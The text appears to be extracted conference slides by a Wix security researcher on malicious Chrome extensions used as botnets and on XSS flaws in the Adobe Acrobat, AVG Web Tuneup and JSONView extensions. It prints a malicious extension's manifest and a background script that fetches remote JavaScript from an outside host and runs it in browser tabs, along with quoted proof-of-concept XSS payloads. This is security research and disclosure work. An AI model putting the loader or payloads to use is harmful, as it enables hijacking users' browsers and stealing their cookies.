



# Game of Chromes



Owning the Web with Zombie Chrome Extensions

Tomer Cohen


# BOT TRAFFIC REPORT 2016

BOT ACTIVITY IS UP  
after a three year decline


INCREASE IN GOOD BOT ACTIVITY,  
which went up by 4.4 percent.



April 2016




# Sign-up Graph





# This is what we currently know...




WIX


10 Sec

Publish


# Attack Page



# Attack Page




# Google Web Store







# Extension Course of Action




Inject Code  
Into Facebook tabs



~~Open Wix Frame  
Transparently inside a Facebook page~~





Sign Up to Wix  
Bypassing bot detection








/register

**FAIL**





# Extension Course of Action



Inject Code  
Into Facebook tabs

Open Wix Frame  
Inside a Facebook page

Sign Up to Wix  
Bypassing bot detection

Publish Wix Website  
That leads to attack page



Distribute Link  
Among all Facebook friends

Review Extension  
In Google Web Store





The objective:  
Use Wix as a distributor  
to form a bot net





# Bot Masters: What Do They Want?



Send Spam



DDoS Attacks



Scrape Websites









Click Frauds







## Facebook 'Comment Tagging Malware' Spreading via Google Chrome

By *Waqas* on June 27, 2016  Email  @hackread    

*IF YOU RECEIVE A FACEBOOK NOTIFICATION REGARDING A FRIEND TAGGING YOU IN A COMMENT BE VERY CAREFUL BEFORE CLICKING ON THE LINK IT CAN BE A JAVASCRIPT MALWARE FOUND TARGETING USERS LATELY!*



# Tag Me If You Can



User Click

Facebook Friends



Extension




New Payload  
Instance





# This Magical Bot...




WIX.com





# What makes a good bot


Goal: **Look Human**



Blacklists



Cookies & Flow Control



Mouse Movement



Javascript Challenges

Browser Extension:

The Perfect Bot



# What An Extension Can Do

## Extension Manifest

```
{
  "update_url": "https://clients2.google.com/
service/update2/crx",
  "background": {
    "scripts": [
      "view.js"
    ]
  },
  "browser_action": {
    "default_icon": "viadeo.png",
    "default_popup": "index.html"
  },
  "content_scripts": [
    {
      "js": [
        "jquery.js",
        "crack.js"
      ],
      "matches": [
        "*://*.viadeo.com/*"
      ]
    }
  ],
}
```

Background  
script

```
  "description": "Permet de profiter des avantages d'un compte vi
  "icons": {
    "128": "viadeo.png",
    "16": "viadeo.png",
    "48": "viadeo.png"
  },
  "manifest_version": 2,
  "name": "Viad30 Unlocker",
  "permissions": [
    "tabs",
    "*://*.viadeo.com/",
    "storage",
    "webNavigation",
    "http://*/*",
    "https://*/*",
    "cookies",
    "webRequest",
    "webRequestBlocki
  ],
  "version": "3.4",
  "content_security_policy": "script-src 'self' 'unsafe-eval'; ob
}
```

Use a copy  
of an existing  
extension

Snatch user  
cookies from  
login  
ability

# Command & Control

## Background Script

```
chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
```

Any time a tab  
is updated



```
    var xhr_obj = juykhjkhj();  
    xhr_obj['onreadystatechange'] = function() {  
        if (xhr_obj['readyState'] == 4) {  
            chrome['tabs']['executeScript']({  
                code: xhr_obj['responseText']  
            })  
        }  
    }  
};
```

And **execute** it  
on the active tab.


```
    xhr_obj['open']('get', 'http://appbda.co/data.js');  
    xhr_obj['send']();  
    if (rkiyypsyr == 0) {  
        rkiyypsyr = 1;  
    }  
}
```

Get new **commands**  
from the attacker's server

# But It's Too Complicated



# Why Do It Yourself?!



# Adobe Acrobat extension XSS



- XSS found on January 2016
- 30 million installations
- XSS found by Google Project Zero researcher Tavis Ormandy



1088 - Adobe: Adobe Acrobat x

Tomer

Secure

https://bugs.chromium.org/p/project-zero/issues/detail?id=1088#c4

Issue 1088

Starred by 4 users

Status: Fixed

Owner: [taviso@google.com](mailto:taviso@google.com)

Closed: Jan 18

Cc: [project-...@google.com](mailto:project-...@google.com)

Deadline-90

Finder-taviso

Severity-Critical

CCProjectZeroMembers

Vendor-Adobe

Product-Acrobat

Reported-2017-Jan-12

[Sign in](#) to add a comment

Adobe: Adobe Acrobat Force-Installed Vulnerable Chrome Extension

Project Member

Reported by [taviso@google.com](mailto:taviso@google.com), Jan 18

[Back to list](#)

On January 12th, an automatic Adobe Acrobat update force installed a new chrome extension with ID efaidnbmnnnibpcajpcglclefindmkaj. You can view it on the Chrome Webstore here: <https://chrome.google.com/webstore/detail/adobe-acrobat/efaidnbmnnnibpcajpcglclefindmkaj/>

I can see from the webstore statistics it's already got ~30M installations.

It didn't take long to notice there's a DOM XSS in data/js/frame.html

```
531         } else if (request.current_status === "failure") {
532             analytics(events.TREFOIL_HTML_CONVERT_FAILED);
533             if (request.message) {
534                 str_status = request.message;
535             }
536             success = false;
```

Presumably you can do

```
window.open("chrome-extension://efaidnbmnnnibpcajpcglclefindmkaj/data/js/frame.html?message=" +
encodeURIComponent(JSON.stringify({
    panel_op: "status",
    current_status: "failure",
    message: "<h1>hello</h1>"
}))));
```

I think CSP might make it impossible to jump straight to script execution, but you can iframe non web\_accessible\_resources, and easily pivot that to code execution, or change privacy options via options.html, etc.

??

# The frame who framed the XSS

iframe.js

```
op = request.panel_op;
switch (op) {
  case "status":
    if (request.current_status === "waiting") {
      ...
    } else if (request.current_status === "failure") {
      analytics(events.TREFOIL_HTML_CONVERT_FAILED);
      if (request.message) {
        str_status = request.message;
      }
      success = false;
    }
  }
}

...
if (str_status) {
  $(".convert-title").removeClass("hidden");
  $(".convert-title").html(str_status);
}
```

This is our  
payload!

Raw input to HTML

# Content-Security Policy


- CSP by default on extensions since 2014
- Protects in 3 ways:
  1. Forbid evals
  2. Forbid inline scripts
  3. Allow only local scripts



# CSP Is Dead, Long Live CSP! On the Insecurity of Whitelists and the Future of Content Security Policy

“We find that 94.68% of policies that attempt to limit script execution are ineffective, and that 99.34% of hosts with CSP use policies that offer no benefit against XSS”

# AVG Web Tuneup extension XSS



- XSS found on December 2015
- 9 million installations
- XSS found by Google Project Zero researcher Tavis Ormandy

```
window.addEventListener('message', receiveMessage, false);
window.postMessage({ from: "web", to: "content", method: "recently" }, "*")

function receiveMessage(event)
{
    if (event.data != undefined && event.data.historyItems != undefined) {
        var obj = JSON.parse(event.data.historyItems);

        document.write("Here is a list of websites you've been visiting");
        document.write("<br>");
        for (i in obj) {
            var d = new Date(obj[i]);
            document.write("<a href=" + i + ">" + i + "</a> on " + d);
            document.write("<br>");
        }
    }
}
</script>
```

I'm sure if I keep looking I'll be able to turn this into remote code execution, but hopefully this is enough for now.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public.

Disappointed, Tavis.

# AVG Web Tuneup - DEMO

# JSONView extension XSS



**JSONView**

- XSS found on February 2016
- Removed from store on November 2016
- Came back on January 2017
- XSS found by Joe Vennix

# JSONView - DEMO



Q / A

# THANKS

[tomerc@wix.com](mailto:tomerc@wix.com)